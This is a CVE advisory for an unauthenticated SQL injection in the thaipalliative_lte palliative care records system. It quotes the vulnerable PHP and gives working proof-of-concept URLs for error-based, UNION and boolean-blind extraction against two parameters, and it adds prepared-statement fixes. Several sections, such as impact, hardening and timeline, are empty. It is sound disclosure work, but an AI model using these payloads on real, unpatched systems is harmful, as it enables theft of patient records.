SQL Injection CVSS 9.8 Critical

CVE-2026-38581: SQL Injection in damasac/thaipalliative_lte

CVE ID
CVE-2026-38581
CVSS
9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vendor
damasac
Product
thaipalliative_lte
Affected
1.0 through 3.0 (all releases)
Fixed in
No patch available
Reporter
Jackson Mittag (0dayscyber)

Summary

An unauthenticated SQL injection exists in /substudy/ezform.php. Two URL parameters, idFormMain and id, are concatenated directly into MySQL queries with no prepared statement, no escaping, and no input filter of any kind. Errors are exposed to the response through or die(mysqli_error()), so a remote attacker can go from a single probe request to full database extraction in a few minutes.

Because thaipalliative_lte is a palliative care records system, the database on the other side of that query holds patient identifiers, care notes, and clinical scheduling data.

Affected component

All references below point at /substudy/ezform.php at commit 57b5763.

Vulnerability details

Entry point 1: idFormMain (line 14)

The parameter is glued into a SELECT against the formmain table using string concatenation. The single quotes wrapping the value are the only thing keeping the query well formed, so a single apostrophe in the input closes the literal and gives the attacker syntactic reach into the rest of the statement.

// Line 14
$sqlFormMain = "SELECT * FROM formmain WHERE formid='" . $_GET["idFormMain"] . "'";
$queryFormMain = mysqli_query($con, $sqlFormMain) or die(mysqli_error());
PoC: error-based confirmation
/substudy/ezform.php?idFormMain='

Sending a bare single quote breaks the query and triggers the or die(mysqli_error()) branch, so the raw MySQL error message reaches the response body. That confirms the injection and gives the attacker a working error channel.

PoC: UNION-based extraction
/substudy/ezform.php?idFormMain=' UNION SELECT 1,2,3,4,5-- -

Column count needs to match the formmain schema. Once aligned, replace the placeholders with @@version, database(), or (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()) to enumerate.

PoC: boolean blind
/substudy/ezform.php?idFormMain=' AND '1'='1
/substudy/ezform.php?idFormMain=' AND '1'='2

A useful fallback if error output ever gets suppressed downstream. Response length or presence of the formmain record delta answers the boolean.

Entry point 2: id (line 49)

The id parameter arrives via $_REQUEST, so it works over GET, POST, or a poisoned cookie. It gets assigned straight into $id and then concatenated into a second query. That second query runs against a table name pulled from the first query's result, which means an attacker who already controls entry point 1 can steer this one at an arbitrary table.

// Lines 32-33
$id = $_REQUEST["id"];

// Line 49
$sql = "SELECT * FROM `" . $dataFormMain["tablename"] . "` WHERE id='" . $id . "'";
$query = mysqli_query($con, $sql) or die(mysqli_error());
PoC
/substudy/ezform.php?idFormMain=1&id=' OR '1'='1

Impact

The straightforward outcomes:

The or die(mysqli_error()) pattern short-circuits the usual friction of blind SQLi. Error-based techniques work out of the box, so exploitation does not require any manual timing calibration or oracle setup.

Root cause

The file builds every SQL statement through string concatenation of superglobals. There are no prepared statements, no mysqli_real_escape_string() calls, no positive input validation, and no type coercion. The same anti-pattern shows up at both call sites, which suggests a codebase-wide fix rather than two point patches.

Remediation

Convert every affected query to a prepared statement with bound parameters. The mysqli API supports this directly, so the migration is mechanical.

// Vulnerable
$sql = "SELECT * FROM formmain WHERE formid='" . $_GET["idFormMain"] . "'";
$result = mysqli_query($con, $sql);

// Fixed
$stmt = mysqli_prepare($con, "SELECT * FROM formmain WHERE formid = ?");
mysqli_stmt_bind_param($stmt, "s", $_GET["idFormMain"]);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

Additional hardening that pays off across the codebase:

Timeline

DateEvent
Vulnerability discovered by Jackson Mittag (0dayscyber)
CVE-2026-38581 reserved by MITRE
Public disclosure

References